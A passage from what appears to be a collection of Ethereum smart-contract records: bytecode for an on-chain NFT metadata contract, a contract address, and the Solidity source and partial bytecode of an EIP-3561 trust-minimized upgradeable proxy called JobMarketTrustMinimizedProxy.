r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint128 (r < r1 ? r : r1); } } } }
0x608060405234801561001057600080fd5b50600436106101365760003560e01c8063a905221e116100b2578063c47f002711610081578063de1c720d11610066578063de1c720d1461027f578063e34069af14610292578063e8c01ad0146102a557600080fd5b8063c47f002714610259578063d8e257771461026c57600080fd5b8063a905221e14610218578063a9ef3aeb1461022b578063bf2a749014610233578063c184f3921461024657600080fd5b8063592fa5cc1161010957806383c3ef05116100ee57806383c3ef05146101af5780638da5cb5b146101c05780639e0257dc1461020557600080fd5b8063592fa5cc1461019457806377645839146101a757600080fd5b806306fdde031461013b57806307795957146101595780631f9ae8561461016e57806322433e9014610181575b600080fd5b6101436102b8565b6040516101509190612b93565b60405180910390f35b61016c6101673660046125ed565b61034a565b005b61016c61017c3660046125ed565b610387565b61016c61018f3660046125ed565b6103a3565b6101436101a23660046126ed565b6103c4565b61014361042c565b600454604051908152602001610150565b6000546101e09073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610150565b61016c6102133660046124e3565b61043b565b610143610226366004612659565b6104ac565b61014361055c565b610143610241366004612659565b61056b565b61016c6102543660046125ed565b61057d565b61016c6102673660046125ab565b610599565b61014361027a366004612659565b6105b2565b61014361028d3660046126a7565b6105c4565b61016c6102a03660046124e3565b6105db565b61016c6102b336600461268e565b6105f6565b6060600180546102c790612d74565b80601f01602080910402602001604051908101604052809291908181526020018280546102f390612d74565b80156103405780601f1061031557610100808354040283529160200191610340565b820191906000526020600020905b81548152906001019060200180831161032357829003601f168201915b5050505050905090565b610352610603565b818160088686604051610366929190612840565b908152604051908190036020019020610380929091612255565b5050505050565b61038f610603565b818160078686604051610366929190612840565b6103ab610603565b6103b760028585612255565b5061038060038383612255565b606060006103fd6103d989898989898961068a565b6040516020016103e991906127d7565b6040516020818303038152906040526107f8565b9050806040516020016104109190612b16565b6040516020818303038152906040529150509695505050505050565b6060600280546102c790612d74565b610443610603565b60005b81518110156104a857600582828151811061046357610463612e20565b6020908102919091018101518254600181018455600093845292829020815161049594919091019291909101906122d9565b50806104a081612daf565b915050610446565b5050565b60606006826040516104be91906127d7565b908152602001604051809103902080546104d790612d74565b80601f016020809104026020016040519081016040528092919081815260200182805461050390612d74565b80156105505780601f1061052557610100808354040283529160200191610550565b820191906000526020600020905b81548152906001019060200180831161053357829003601f168201915b50505050509050919050565b6060600380546102c790612d74565b60606007826040516104be91906127d7565b610585610603565b818160068686604051610366929190612840565b6105a1610603565b6105ad60018383612255565b505050565b60606008826040516104be91906127d7565b60606105d285858585610995565b95945050505050565b6105e3610603565b80516104a890600590602084019061234d565b6105fe610603565b600455565b60005473ffffffffffffffffffffffffffffffffffffffff163314610688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f596f7520617265206e6f7420746865206f776e65720000000000000000000000604482015260640160405180910390fd5b565b606060006002805461069b90612d74565b15905061070d576106aa61042c565b6106b78989876001610995565b6106de6106d66106ca8a8a600454610b23565b600f0b600f0b60401d90565b60070b610b91565b6106e661055c565b6040516020016106f99493929190612850565b60405160208183030381529060405261071a565b61071a8888888888610caf565b905060006040518060c0016040528060006002805461073890612d74565b9050111515815260200161074a6102b8565b6107538a610b91565b61075c8d610b91565b60405160200161076e939291906128dc565b604051602081830303815290604052815260200161078b89610b91565b81526020016040518060400160405280600381526020017f4e6f6e000000000000000000000000000000000000000000000000000000000081525081526020018381526020016107de8b8b8b898b611050565b905290506107eb816114d2565b9998505050505050505050565b606081516000141561081857505060408051602081019091526000815290565b6000604051806060016040528060408152602001612e4d60409139905060006003845160026108479190612bf7565b6108519190612c0f565b61085c906004612d0e565b9050600061086b826020612bf7565b67ffffffffffffffff81111561088357610883612e36565b6040519080825280601f01601f1916602001820160405280156108ad576020820181803683370190505b509050818152600183018586518101602084015b81831015610919576003830192508251603f8160121c168501518253600182019150603f81600c1c168501518253600182019150603f8160061c168501518253600182019150603f81168501518253506001016108c1565b600389510660018114610933576002811461095f57610987565b7f3d3d000000000000000000000000000000000000000000000000000000000000600119830152610987565b7f3d000000000000000000000000000000000000000000000000000000000000006000198301525b509398975050505050505050565b606080806109a2866117ad565b6040516020016109b39291906127f3565b60405160208183030381529060405290508315610a4a5780836109ef57604051806040016040528060018152602001600160fd1b815250610a0a565b604051806040016040528060018152602001605f60f81b8152505b604051602001610a1a91906128b7565b60408051601f1981840301815290829052610a3892916020016127f3565b60405160208183030381529060405290505b6000600a610a59606489612dca565b610a639190612c0f565b90506000610a72600a89612dca565b9050600081610a8284600a612d0e565b610a8c9190612bf7565b90508386610ab357604051806040016040528060018152602001600160fd1b815250610ace565b604051806040016040528060018152602001605f60f81b8152505b610ad7836117de565b604051602001610ae89291906127f3565b60408051601f1981840301815290829052610b0692916020016127f3565b60408051808303601f190181529190529998505050505050505050565b600080610b2f856117f9565b90506000610b3c856117f9565b90506000610b4a838361183d565b90506000610b60610b5a876118b1565b836118cf565b9050610b7281600f0b600f0b60401d90565b60070b610b8657610b8360016118b1565b90505b979650505050505050565b606081610bb55750506040805180820190915260018152600360fc1b602082015290565b8160005b8115610bdf5780610bc981612daf565b9150610bd89050600a83612c0f565b9150610bb9565b60008167ffffffffffffffff811115610bfa57610bfa612e36565b6040519080825280601f01601f191660200182016040528015610c24576020820181803683370190505b5090505b8415610ca757610c39600183612d2d565b9150610c46600a86612dca565b610c51906030612bf7565b60f81b818381518110610c6657610c66612e20565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350610ca0600a86612c0f565b9450610c28565b949350505050565b60608060005b60055481101561104557610d1a60058281548110610cd557610cd5612e20565b906000526020600020016040518060400160405280600881526020017f3c5241444955533e000000000000000000000000000000000000000000000000815250611917565b15610d5c5781610d35610d308888600454610b23565b611970565b604051602001610d469291906127f3565b6040516020818303038152906040529150611033565b610db760058281548110610d7257610d72612e20565b906000526020600020016040518060400160405280600881526020017f3c5350484552453e000000000000000000000000000000000000000000000000815250611917565b15610e11578315610df857816007604051610dd990606160f81b815260010190565b9081526020016040518091039020604051602001610d46929190612822565b816007610e0489610b91565b604051610dd991906127d7565b610e6c60058281548110610e2757610e27612e20565b906000526020600020016040518060400160405280600d81526020017f3c5350484552455f444546533e00000000000000000000000000000000000000815250611917565b15610e9a578315610e8e57816008604051610dd990606160f81b815260010190565b816008610e0489610b91565b610ef560058281548110610eb057610eb0612e20565b906000526020600020016040518060400160405280600781526020017f3c434c4153533e00000000000000000000000000000000000000000000000000815250611917565b15610f085781610d358989876000610995565b610f6360058281548110610f1e57610f1e612e20565b906000526020600020016040518060400160405280600d81526020017f3c434c4153535f5354594c453e00000000000000000000000000000000000000815250611917565b15610ff2576000600a610f7760648b612dca565b610f819190612c0f565b90506000610f90600a8b612dca565b9050600081610fa084600a612d0e565b610faa9190612bf7565b90506000610fba610226836117de565b805190915015610fe9578581604051602001610fd79291906127f3565b60405160208183030381529060405295505b50505050611033565b816005828154811061100657611006612e20565b90600052602060002001604051602001611021929190612822565b60405160208183030381529060405291505b8061103d81612daf565b915050610cb5565b509695505050505050565b60606000600a611061606489612dca565b61106b9190612c0f565b9050600061107a600a89612dca565b905060008161108a84600a612d0e565b6110949190612bf7565b60408051600580825260c0820190925291925060009190816020015b6040805160c081018252600080825260208083018290529282015260608082018190526080820181905260a082015282526000199092019101816110b05790505090506111b3600060016000604051806020016040528060008152506040518060400160405280600481526020017f4d6173730000000000000000000000000000000000000000000000000000000081525061114b8e610b91565b6040805160c0810182526000808252602082018190529181019190915260608082018190526080820181905260a0820152506040805160c08101825296151587529415156020870152921515938501939093526060840152608083019190915260a082015290565b816000815181106111c6576111c6612e20565b6020026020010181905250611345600060016000604051806020016040528060008152506040518060400160405280600581526020017f416c7068610000000000000000000000000000000000000000000000000000008152508b6112a757604051806040016040528060018152602001600360fc1b8152506040805160c0810182526000808252602082018190529181019190915260608082018190526080820181905260a0820152506040805160c08101825296151587529415156020870152921515938501939093526060840152608083019190915260a082015290565b6040518060400160405280600181526020017f31000000000000000000000000000000000000000000000000000000000000008152506040805160c0810182526000808252602082018190529181019190915260608082018190526080820181905260a0820152506040805160c08101825296151587529415156020870152921515938501939093526060840152608083019190915260a082015290565b8160018151811061135857611358612e20565b60200260200101819052506113bb600060016000604051806020016040528060008152506040518060400160405280600481526020017f546965720000000000000000000000000000000000000000000000000000000081525061114b8f610b91565b816002815181106113ce576113ce612e20565b6020026020010181905250611431600060016000604051806020016040528060008152506040518060400160405280600581526020017f436c61737300000000000000000000000000000000000000000000000000000081525061114b88610b91565b8160038151811061144457611444612e20565b60200260200101819052506114a7600060016000604051806020016040528060008152506040518060400160405280600681526020017f4d6572676573000000000000000000000000000000000000000000000000000081525061114b8d610b91565b816004815181106114ba576114ba612e20565b60209081029190910101529998505050505050505050565b606080806114de6119d3565b6040516020016114ef9291906127f3565b6040516020818303038152906040529050806115466040518060400160405280600481526020017f6e616d650000000000000000000000000000000000000000000000000000000081525085602001516001611a17565b6040516020016115579291906127f3565b60408051601f198184030181528282018252600b83527f6465736372697074696f6e00000000000000000000000000000000000000000060208401529085015190925082916115a7916001611a17565b6040516020016115b89291906127f3565b60408051601f19818403018152828201909152600a82527f637265617465645f62790000000000000000000000000000000000000000000060208301526060850151909250829161160a916001611a17565b60405160200161161b9291906127f3565b60405160208183030381529060405290508260000151156116a3578061167c6040518060400160405280600581526020017f696d61676500000000000000000000000000000000000000000000000000000081525085608001516001611a17565b60405160200161168d9291906127f3565b604051602081830303815290604052905061170c565b806116e96040518060400160405280600a81526020017f696d6167655f646174610000000000000000000000000000000000000000000081525085608001516001611a17565b6040516020016116fa9291906127f3565b60405160208183030381529060405290505b8061175a6040518060400160405280600a81526020017f61747472696275746573000000000000000000000000000000000000000000008152506117538660a00151611a7a565b6000611b34565b60405160200161176b9291906127f3565b604051602081830303815290604052905080611785611b7f565b6040516020016117969291906127f3565b60408051601f198184030181529190529392505050565b60606117b882610b91565b6040516020016117c89190612b5b565b6040516020818303038152906040529050919050565b60606117e982610b91565b6040516020016117c891906129de565b600080611810640e7193ba8164174876e800611bb3565b9050600061182f61182685600360066020611bfc565b620f4240611bb3565b905060006105d282846118cf565b600081600f0b6000141561185057600080fd5b600082600f0b604085600f0b901b8161186b5761186b612e0a565b0590506f7fffffffffffffffffffffffffffffff19811280159061189f57506f7fffffffffffffffffffffffffffffff8113155b6118a857600080fd5b90505b92915050565b6000677fffffffffffffff8211156118c857600080fd5b5060401b90565b6000600f83810b9083900b0260401d6f7fffffffffffffffffffffffffffffff19811280159061189f57506f7fffffffffffffffffffffffffffffff8113156118a857600080fd5b60008160405160200161192a91906127d7565b604051602081830303815290604052805190602001208360405160200161195191906129cb565b6040516020818303038152906040528051906020012014905092915050565b6060600061198d67ffffffffffffffff8416600f0b612710611d0d565b90506119a26106d684600f0b600f0b60401d90565b6119ab82611d8f565b6040516020016119bc929190612973565b604051602081830303815290604052915050919050565b6040517f7b0000000000000000000000000000000000000000000000000000000000000060208201526060906021015b604051602081830303815290604052905090565b6060838383611a355760405180602001604052806000815250611a50565b604051806040016040528060018152602001600b60fa1b8152505b604051602001611a6293929190612a23565b60405160208183030381529060405290509392505050565b60608080611a86611e55565b604051602001611a979291906127f3565b604051602081830303815290604052905060005b8351811015611b2a576000848281518110611ac857611ac8612e20565b6020026020010151905082611af4611adf83611e89565b60018851611aed9190612d2d565b8510612033565b604051602001611b059291906127f3565b6040516020818303038152906040529250508080611b2290612daf565b915050611aab565b5080611785612093565b6060838383611b525760405180602001604052806000815250611b6d565b604051806040016040528060018152602001600b60fa1b8152505b604051602001611a6293929190612aa7565b6040517f7d000000000000000000000000000000000000000000000000000000000000006020820152606090602101611a03565b600081611bbf57600080fd5b6000611bcb84846120c7565b90506f7fffffffffffffffffffffffffffffff6fffffffffffffffffffffffffffffffff821611156118a857600080fd5b600060018411611c0e57611c0e612dde565b6000611c1b846001612bf7565b611c2690600a612c66565b9050600086611c358784612c66565b611c3f9190612d0e565b90508160005b85811015611cf657816000611c5b60018b612d2d565b611c659083612c66565b905084611c728284612d0e565b1115611ca85789611c838287612c0f565b611c8d9084612d2d565b611c979190612c0f565b611ca19083612d2d565b9350611cd5565b8982611cb48388612c0f565b611cbe9190612d2d565b611cc89190612c0f565b611cd29083612bf7565b93505b611cde83612daf565b925081841415611cef575050611cf6565b5050611c45565b600a611d03836005612bf7565b6107eb9190612c0f565b600081611d1c575060006118ab565b600083600f0b1215611d2d57600080fd5b600f83900b6fffffffffffffffffffffffffffffffff8316810260401c90608084901c0277ffffffffffffffffffffffffffffffffffffffffffffffff811115611d7657600080fd5b60401b8119811115611d8757600080fd5b019392505050565b6040805160048082528183019092526060916000919060208201818036833701905050905060005b6004811015611e4357611dcb600a85612dca565b611dd6906030612bf7565b60f81b82611de5836003612d2d565b81518110611df557611df5612e20565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350611e2f600a85612c0f565b935080611e3b81612daf565b915050611db7565b50806040516020016119bc91906127d7565b6040517f5b000000000000000000000000000000000000000000000000000000000000006020820152606090602101611a03565b60608080611e956119d3565b604051602001611ea69291906127f3565b6040516020818303038152906040529050826000015115611f2a5780611f076040518060400160405280600c81526020017f646973706c61795f74797065000000000000000000000000000000000000000081525085606001516001611a17565b604051602001611f189291906127f3565b60405160208183030381529060405290505b826020015115611f9d5780611f7a6040518060400160405280600a81526020017f74726169745f747970650000000000000000000000000000000000000000000081525085608001516001611a17565b604051602001611f8b9291906127f3565b60405160208183030381529060405290505b826040015115611ffc5780611fd56040518060400160405280600581526020016476616c756560d81b8152508560a001516000611a17565b604051602001611fe69291906127f3565b604051602081830303815290604052905061202a565b8061175a6040518060400160405280600581526020016476616c756560d81b8152508560a001516000611b34565b80611785611b7f565b60608282612050576040518060200160405280600081525061206b565b604051806040016040528060018152602001600b60fa1b8152505b60405160200161207c9291906127f3565b604051602081830303815290604052905092915050565b6040517f5d000000000000000000000000000000000000000000000000000000000000006020820152606090602101611a03565b6000816120d357600080fd5b600077ffffffffffffffffffffffffffffffffffffffffffffffff841161210f5782604085901b8161210757612107612e0a565b049050612238565b60c084811c6401000000008110612128576020918201911c5b62010000811061213a576010918201911c5b610100811061214b576008918201911c5b6010811061215b576004918201911c5b6004811061216b576002918201911c5b6002811061217a576001820191505b60bf820360018603901c6001018260ff0387901b8161219b5761219b612e0a565b0492506fffffffffffffffffffffffffffffffff8311156121bb57600080fd5b608085901c83026fffffffffffffffffffffffffffffffff8616840260c088901c604089901b828110156121f0576001820391505b608084901b92900382811015612207576001820391505b829003608084901c821461221d5761221d612dde565b88818161222c5761222c612e0a565b04870196505050505050505b6fffffffffffffffffffffffffffffffff8111156118a857600080fd5b82805461226190612d74565b90600052602060002090601f01602090048101928261228357600085556122c9565b82601f1061229c5782800160ff198235161785556122c9565b828001600101855582156122c9579182015b828111156122c95782358255916020019190600101906122ae565b506122d59291506123a6565b5090565b8280546122e590612d74565b90600052602060002090601f01602090048101928261230757600085556122c9565b82601f1061232057805160ff19168380011785556122c9565b828001600101855582156122c9579182015b828111156122c9578251825591602001919060010190612332565b82805482825590600052602060002090810192821561239a579160200282015b8281111561239a578251805161238a9184916020909101906122d9565b509160200191906001019061236d565b506122d59291506123bb565b5b808211156122d557600081556001016123a7565b808211156122d55760006123cf82826123d8565b506001016123bb565b5080546123e490612d74565b6000825580601f106123f4575050565b601f01602090049060005260206000209081019061241291906123a6565b50565b8035801515811461242557600080fd5b919050565b60008083601f84011261243c57600080fd5b50813567ffffffffffffffff81111561245457600080fd5b60208301915083602082850101111561246c57600080fd5b9250929050565b600082601f83011261248457600080fd5b813567ffffffffffffffff81111561249e5761249e612e36565b6124b1601f8201601f1916602001612bc6565b8181528460208386010111156124c657600080fd5b816020850160208301376000918101602001919091529392505050565b600060208083850312156124f657600080fd5b823567ffffffffffffffff8082111561250e57600080fd5b818501915085601f83011261252257600080fd5b81358181111561253457612534612e36565b8060051b612543858201612bc6565b8281528581019085870183870188018b101561255e57600080fd5b60009350835b8581101561259b5781358781111561257a578586fd5b6125888d8b838c0101612473565b8552509288019290880190600101612564565b50909a9950505050505050505050565b600080602083850312156125be57600080fd5b823567ffffffffffffffff8111156125d557600080fd5b6125e18582860161242a565b90969095509350505050565b6000806000806040858703121561260357600080fd5b843567ffffffffffffffff8082111561261b57600080fd5b6126278883890161242a565b9096509450602087013591508082111561264057600080fd5b5061264d8782880161242a565b95989497509550505050565b60006020828403121561266b57600080fd5b813567ffffffffffffffff81111561268257600080fd5b610ca784828501612473565b6000602082840312156126a057600080fd5b5035919050565b600080600080608085870312156126bd57600080fd5b84359350602085013592506126d460408601612415565b91506126e260608601612415565b905092959194509250565b60008060008060008060c0878903121561270657600080fd5b8635955060208701359450604087013593506060870135925061272b60808801612415565b915060a087013590509295509295509295565b8054600090600181811c908083168061275857607f831692505b602080841082141561277a57634e487b7160e01b600052602260045260246000fd5b81801561278e576001811461279f576127cb565b60ff198616895284890196506127cb565b876000528160002060005b868110156127c35781548b8201529085019083016127aa565b505084890196505b50505050505092915050565b600082516127e9818460208701612d44565b9190910192915050565b60008351612805818460208801612d44565b835190830190612819818360208801612d44565b01949350505050565b60008351612834818460208801612d44565b6105d28184018561273e565b8183823760009101908152919050565b60008551612862818460208a01612d44565b855190830190612876818360208a01612d44565b605f60f81b91019081528451612893816001840160208901612d44565b84519101906128a9816001840160208801612d44565b016001019695505050505050565b600082516128c9818460208701612d44565b606160f81b920191825250600101919050565b600084516128ee818460208901612d44565b7f28000000000000000000000000000000000000000000000000000000000000009083019081528451612928816001840160208901612d44565b7f2920230000000000000000000000000000000000000000000000000000000000600192909101918201528351612966816004840160208801612d44565b0160040195945050505050565b60008351612985818460208801612d44565b7f2e0000000000000000000000000000000000000000000000000000000000000090830190815283516129bf816001840160208801612d44565b01600101949350505050565b60006129d7828461273e565b9392505050565b7f6300000000000000000000000000000000000000000000000000000000000000815260008251612a16816001850160208701612d44565b9190910160010192915050565b6000601160f91b8083528551612a40816001860160208a01612d44565b7f223a2022000000000000000000000000000000000000000000000000000000006001918501918201528551612a7d816005840160208a01612d44565b016005810191909152835190612a9a826006830160208801612d44565b0160060195945050505050565b601160f91b815260008451612ac3816001850160208901612d44565b7f223a2000000000000000000000000000000000000000000000000000000000006001918401918201528451612b00816004840160208901612d44565b8451910190612966816004840160208801612d44565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251612b4e81601d850160208701612d44565b91909101601d0192915050565b7f6d00000000000000000000000000000000000000000000000000000000000000815260008251612a16816001850160208701612d44565b6020815260008251806020840152612bb2816040850160208701612d44565b601f01601f19169190910160400192915050565b604051601f8201601f1916810167ffffffffffffffff81118282101715612bef57612bef612e36565b604052919050565b60008219821115612c0a57612c0a612df4565b500190565b600082612c1e57612c1e612e0a565b500490565b600181815b80851115612c5e578160001904821115612c4457612c44612df4565b80851615612c5157918102915b93841c9390800290612c28565b509250929050565b60006129d78383600082612c7c575060016118ab565b81612c89575060006118ab565b8160018114612c9f5760028114612ca957612cc5565b60019150506118ab565b60ff841115612cba57612cba612df4565b50506001821b6118ab565b5060208310610133831016604e8410600b8410161715612ce8575081810a6118ab565b612cf28383612c23565b8060001904821115612d0657612d06612df4565b029392505050565b6000816000190483118215151615612d2857612d28612df4565b500290565b600082821015612d3f57612d3f612df4565b500390565b60005b83811015612d5f578181015183820152602001612d47565b83811115612d6e576000848401525b50505050565b600181811c90821680612d8857607f821691505b60208210811415612da957634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612dc357612dc3612df4565b5060010190565b600082612dd957612dd9612e0a565b500690565b634e487b7160e01b600052600160045260246000fd5b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220d363f36c42b8146999f301f7ebe7a9c33fadd589ca566f79e44c88d508b62cf364736f6c63430008070033
[ 5, 3, 4, 12 ]
0xf38a689712a6935a90d6955ed6b9d0fa7ce7123e
// SPDX-License-Identifier: MIT pragma solidity >=0.7.6 <0.8.0; // EIP-3561 trust minimized proxy implementation https://github.com/ethereum/EIPs/blob/master/EIPS/eip-3561.md contract JobMarketTrustMinimizedProxy{ // THE CODE FITS ON THE SCREEN UNBELIAVABLE LETS STOP ENDLESS SCROLLING UP AND DOWN event Upgraded(address indexed toLogic); event AdminChanged(address indexed previousAdmin, address indexed newAdmin); event NextLogicDefined(address indexed nextLogic, uint earliestArrivalBlock); event ProposingUpgradesRestrictedUntil(uint block, uint nextProposedLogicEarliestArrival); event NextLogicCanceled(); event TrustRemoved(); bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; bytes32 internal constant LOGIC_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; bytes32 internal constant NEXT_LOGIC_SLOT = 0xb182d207b11df9fb38eec1e3fe4966cf344774ba58fb0e9d88ea35ad46f3601e; bytes32 internal constant NEXT_LOGIC_BLOCK_SLOT = 0x96de003e85302815fe026bddb9630a50a1d4dc51c5c355def172204c3fd1c733; bytes32 internal constant PROPOSE_BLOCK_SLOT = 0xbc9d35b69e82e85049be70f91154051f5e20e574471195334bde02d1a9974c90; // bytes32 internal constant DEADLINE_SLOT = 0xb124b82d2ac46ebdb08de751ebc55102cc7325d133e09c1f1c25014e20b979ad; bytes32 internal constant TRUST_MINIMIZED_SLOT = 0xa0ea182b754772c4f5848349cff27d3431643ba25790e0c61a8e4bdf4cec9201; constructor() payable { // require(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1) && LOGIC_SLOT==bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1) // this require is simply against human error, can be removed if you know what you are doing // && NEXT_LOGIC_SLOT == bytes32(uint256(keccak256('eip1984.proxy.nextLogic')) - 1) && NEXT_LOGIC_BLOCK_SLOT == bytes32(uint256(keccak256('eip1984.proxy.nextLogicBlock')) - 1) // && PROPOSE_BLOCK_SLOT == bytes32(uint256(keccak256('eip1984.proxy.proposeBlock')) - 1)/* && DEADLINE_SLOT == bytes32(uint256(keccak256('eip1984.proxy.deadline')) - 1)*/ // && TRUST_MINIMIZED_SLOT == bytes32(uint256(keccak256('eip1984.proxy.trustMinimized')) - 1)); _setAdmin(msg.sender); // uint deadline = block.number + 4204800; // ~2 years as default // assembly {sstore(DEADLINE_SLOT,deadline)} } modifier ifAdmin() {if (msg.sender == _admin()) {_;} else {_fallback();}} function _logic() internal view returns (address logic) {assembly { logic := sload(LOGIC_SLOT) }} function _proposeBlock() internal view returns (uint bl) {assembly { bl := sload(PROPOSE_BLOCK_SLOT) }} function _nextLogicBlock() internal view returns (uint bl) {assembly { bl := sload(NEXT_LOGIC_BLOCK_SLOT) }} // function _deadline() internal view returns (uint bl) {assembly { bl := sload(DEADLINE_SLOT) }} function _trustMinimized() internal view returns (bool tm) {assembly { tm := sload(TRUST_MINIMIZED_SLOT) }} function _admin() internal view returns (address adm) {assembly { adm := sload(ADMIN_SLOT) }} function _setAdmin(address newAdm) internal {assembly {sstore(ADMIN_SLOT, newAdm)}} function changeAdmin(address newAdm) external ifAdmin {emit AdminChanged(_admin(), newAdm);_setAdmin(newAdm);} function upgrade() external ifAdmin {require(block.number>=_nextLogicBlock());address logic;assembly {logic := sload(NEXT_LOGIC_SLOT) sstore(LOGIC_SLOT,logic)}emit Upgraded(logic);} fallback () external payable {_fallback();} receive () external payable {_fallback();} function _fallback() internal {require(msg.sender != _admin());_delegate(_logic());} function cancelUpgrade() external ifAdmin {address logic; assembly {logic := sload(LOGIC_SLOT)sstore(NEXT_LOGIC_SLOT, logic)}emit NextLogicCanceled();} function prolongLock(uint b) external ifAdmin {require(b > _proposeBlock()); assembly {sstore(PROPOSE_BLOCK_SLOT,b)} emit ProposingUpgradesRestrictedUntil(b,b+172800);} function removeTrust() external ifAdmin {assembly{ sstore(TRUST_MINIMIZED_SLOT, true) }emit TrustRemoved();} // before this called acts like a normal eip 1967 transparent proxy. after the deployer confirms everything is deployed correctly must be called function _updateBlockSlot() internal {uint nlb = block.number + 172800; assembly {sstore(NEXT_LOGIC_BLOCK_SLOT,nlb)}} function _setNextLogic(address nl) internal {require(block.number >= _proposeBlock());_updateBlockSlot();assembly { sstore(NEXT_LOGIC_SLOT, nl)}emit NextLogicDefined(nl,block.number + 172800);} function proposeToAndCall(address newLogic, bytes calldata data) payable external ifAdmin { if (_logic() == address(0) || _trustMinimized() == false) {assembly {sstore(LOGIC_SLOT,newLogic)}emit Upgraded(newLogic);}else{_setNextLogic(newLogic);} (bool success,) = newLogic.delegatecall(data);require(success); } function _delegate(address logic_) internal { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), logic_, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } }
0x6080604052600436106100595760003560e01c80633a50cecc1461007257806355f29166146100895780635fe48394146100a05780638f28397014610139578063d55ec6971461018a578063fddb1a23146101a157610068565b36610068576100666101dc565b005b6100706101dc565b005b34801561007e57600080fd5b5061008761022e565b005b34801561009557600080fd5b5061009e6102c9565b005b610137600480360360408110156100b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156100f357600080fd5b82018360208201111561010557600080fd5b8035906020019184600183028401116401000000008311171561012757600080fd5b909192939192939050505061038a565b005b34801561014557600080fd5b506101886004803603602081101561015c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061051e565b005b34801561019657600080fd5b5061019f6105d4565b005b3480156101ad57600080fd5b506101da600480360360208110156101c457600080fd5b81019080803590602001909291905050506106c0565b005b6101e4610786565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561021c57600080fd5b61022c6102276107af565b6107d8565b565b610236610786565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102be5760017fa0ea182b754772c4f5848349cff27d3431643ba25790e0c61a8e4bdf4cec9201557faf150f10d5830c5d488f442648df6037e759aed5dc7bdb6de0910a2d7b19909360405160405180910390a16102c7565b6102c66101dc565b5b565b6102d1610786565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561037f5760007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc549050807fb182d207b11df9fb38eec1e3fe4966cf344774ba58fb0e9d88ea35ad46f3601e557f58e3160efa8cc0d3d99953670f9235bbb7c4aa506ae1d6c37b6b5753f7a29fcb60405160405180910390a150610388565b6103876101dc565b5b565b610392610786565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561051057600073ffffffffffffffffffffffffffffffffffffffff166103e56107af565b73ffffffffffffffffffffffffffffffffffffffff16148061041257506000151561040e6107fe565b1515145b1561048257827f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc558273ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a261048c565b61048b83610827565b5b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d80600081146104f7576040519150601f19603f3d011682016040523d82523d6000602084013e6104fc565b606091505b505090508061050a57600080fd5b50610519565b6105186101dc565b5b505050565b610526610786565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105c8578073ffffffffffffffffffffffffffffffffffffffff16610578610786565b73ffffffffffffffffffffffffffffffffffffffff167f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f60405160405180910390a36105c3816108bc565b6105d1565b6105d06101dc565b5b50565b6105dc610786565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156106b5576106176108e2565b43101561062357600080fd5b60007fb182d207b11df9fb38eec1e3fe4966cf344774ba58fb0e9d88ea35ad46f3601e549050807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc558073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a2506106be565b6106bd6101dc565b5b565b6106c8610786565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561077a5761070361090b565b811161070e57600080fd5b807fbc9d35b69e82e85049be70f91154051f5e20e574471195334bde02d1a9974c90557f9a0e1268fb202214a0078acadf0ae1f5ebd98fec6d8a7cdc534aeb7a9fdad073816202a3008301604051808381526020018281526020019250505060405180910390a1610783565b6107826101dc565b5b50565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610354905090565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc54905090565b3660008037600080366000845af43d6000803e80600081146107f9573d6000f35b3d6000fd5b60007fa0ea182b754772c4f5848349cff27d3431643ba25790e0c61a8e4bdf4cec920154905090565b61082f61090b565b43101561083b57600080fd5b610843610934565b807fb182d207b11df9fb38eec1e3fe4966cf344774ba58fb0e9d88ea35ad46f3601e558073ffffffffffffffffffffffffffffffffffffffff167f449860c58a6ce7acb79bbc76727c717d9688a32a8b2bd805b1deb61e5afa5c4d6202a3004